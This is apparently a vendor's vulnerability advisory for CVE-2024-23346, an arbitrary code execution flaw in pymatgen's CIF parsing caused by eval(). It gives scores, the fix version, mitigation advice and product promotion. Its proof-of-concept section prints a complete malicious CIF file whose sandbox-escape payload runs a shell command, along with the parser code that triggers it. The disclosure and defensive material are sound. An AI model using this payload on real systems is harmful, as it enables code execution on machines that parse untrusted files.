CVE-2024-23346 is a critical-severity (CVSS 9.3) CWE-77 vulnerability in pymatgen. 4 public exploit references exist, so weaponization risk is real. A fix is available for pymatgen — see the affected versions and patch details below.
pymatgen arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-23346.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2024-23346 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
pymatgenReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.
Details
The cause of the vulnerability is in pymatgen/symmetry/settings.py#L97C1-L111C108. The flawed code segment involves a regular expression operation followed by the use of eval().
Vulnerable code
basis_change = [
re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X)
for string in basis_change
]
"""snip"""
([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change])
The use of eval, even with __builtins__ set to None, is still a security risk. The BuiltinImporter class can be recovered with subclass traversal.
PoC
The vulnerability can be exploited as follows:
Create a file vuln.cif with the following contents:
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Then, parse the cif file with the following code:
from pymatgen.io.cif import CifParser
parser = CifParser("vuln.cif")
structure = parser.parse_structures()
Credits
This vulnerability was found and disclosed by William Khem-Marquez.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pymatgen | all versions | 2024.2.20pip install --upgrade 'pymatgen==2024.2.20' |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Pymatgen 2024.1 - Remote Code Execution (RCE)
by Mohammed Idrees Banyamer · Apr 15, 2025
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pymatgen, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pymatgen to 2024.2.20 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-23346 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-23346 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-23346. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2024-23346 in your dependencies?
O3 Security finds CVE-2024-23346 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.